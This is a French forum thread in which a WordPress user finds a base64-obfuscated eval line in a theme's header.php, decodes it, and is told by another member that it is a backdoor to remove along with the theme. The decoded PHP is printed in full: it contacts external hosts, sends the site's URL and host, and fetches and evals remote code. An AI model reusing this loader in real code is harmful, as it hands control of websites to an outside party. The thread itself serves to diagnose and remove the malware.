Soucis Chmod ?

Résolu
Yaninho Messages postés 530 Statut Membre -  
Yaninho Messages postés 530 Statut Membre -
Bonjour,

Aujourd'hui, j'arrive sur mon site et un message d'avertissement est apparu. Après quelques recherches, j'ai lu que cela pouvait venir d'un problème de droit pouvez vous m'aider ?

Voici le message :
Warning: fclose(): supplied argument is not a valid stream resource in ......


La ligne en question est la suivante:
<?php eval(base64_decode('une série de chiffres et de lettres')) ?>


Merci

4 réponses

P@t@ch0n Messages postés 603 Statut Membre 85
 
Cela n'a rien à voir avec les droits.

Et cela ne vient pas non plus de cette ligne.
Il sert à quoi ton eval() ?
0
Yaninho Messages postés 530 Statut Membre 63
 
C'est une bonne question. Je m'explique. C'est un blog fonctionnant sous wordpress, avec un template, cette ligne est par défaut dans le header.php...
0
P@t@ch0n Messages postés 603 Statut Membre 85
 
D'accord, j'ai compris, même si je déteste ce genre de truc.

Pour débuguer, tu devrais faire un echo de base64_decode('une série de chiffres et de lettres') juste un avant la ligne de l'eval.
0
Yaninho Messages postés 530 Statut Membre 63
 
Et voici le résultat.....Superbe non ? J'ai un peu indenté quand même.

if($R37C014DAE5FE4FE5C77B6735ABC30916 = @fsockopen("www.wpssr.com", 80, $R32D00070D4FFBCCE2FC669BBA812D4C2, $R5F525F5B398DADD7CF0784BD406298E3, 3)) 

$R50F5F9C80F12FFAE8B2400528E81B34E = "wpssr"; 

elseif($R37C014DAE5FE4FE5C77B6735ABC30916 = @fsockopen("www.wpsnc.com", 80, $R32D00070D4FFBCCE2FC669BBA812D4C2, $R5F525F5B398DADD7CF0784BD406298E3, 3)) 

$R50F5F9C80F12FFAE8B2400528E81B34E = "wpsnc"; 

else $R50F5F9C80F12FFAE8B2400528E81B34E = "wpsnc2"; 

@eval('$R14AF1BE9EE26A90921E64A82E7836797 = 1;'); 

if($R14AF1BE9EE26A90921E64A82E7836797 AND ini_get('allow_url_fopen')) { 

$RD3FE9C10A808A54EA2A3DBD9E605B696 = "1"; 
$R6E4F14B335243BE656C65E3ED9E1B115 = "http://www.$R50F5F9C80F12FFAE8B2400528E81B34E.com/w$RD3FE9C10A808A54EA2A3DBD9E605B696.php?url=". urlencode($_SERVER['REQUEST_URI']) ."&". "host=". urlencode($_SERVER['HTTP_HOST']); 

$R3E33E017CD76B9B7E6C7364FB91E2E90 = @file_get_contents($R6E4F14B335243BE656C65E3ED9E1B115); @eval($R3E33E017CD76B9B7E6C7364FB91E2E90); 

}
 else { 

$RD3FE9C10A808A54EA2A3DBD9E605B696 = "0"; $R6E4F14B335243BE656C65E3ED9E1B115 = "http://www.$R50F5F9C80F12FFAE8B2400528E81B34E.com/w$RD3FE9C10A808A54EA2A3DBD9E605B696.php?url=". urlencode($_SERVER['REQUEST_URI']) ."&". "host=". urlencode($_SERVER['HTTP_HOST']); 

@readfile($R6E4F14B335243BE656C65E3ED9E1B115); 

} 
fclose($R37C014DAE5FE4FE5C77B6735ABC30916);
0
P@t@ch0n Messages postés 603 Statut Membre 85
 
Tiens trouvé sur google...
http://209.85.229.132/search?q=cache:2Wv8dAReZdMJ:www.astucesdewebmaster.com/tag/wordpress+www.wpsnc.com&cd=1&hl=fr&ct=clnk&gl=fr

Vire cette ligne d'urgence, et vire ce thème en meme temps.
0
Yaninho Messages postés 530 Statut Membre 63
 
Merci bcp, en effet, ligne virée, message disparu.

Je viens de regarder tous les fichiers du thèmes, il n'y a pas d'autre ligne de ce genre. Merci pour la recherche, ;) je ferais plus attention à l'avenir!

Merci encore ;)
0
P@t@ch0n Messages postés 603 Statut Membre 85
 
télécharge des thèmes uniquement à partir du site officiel de l'application, le reste comme tu peux le constater n'est pas fiable ;)

Heureusement que leur site est out, sinon, tu n'aurais pas pu voir que ton site était hacké.
0
Yaninho Messages postés 530 Statut Membre 63
 
Effectivement ;) Merci et bonne continuation.
0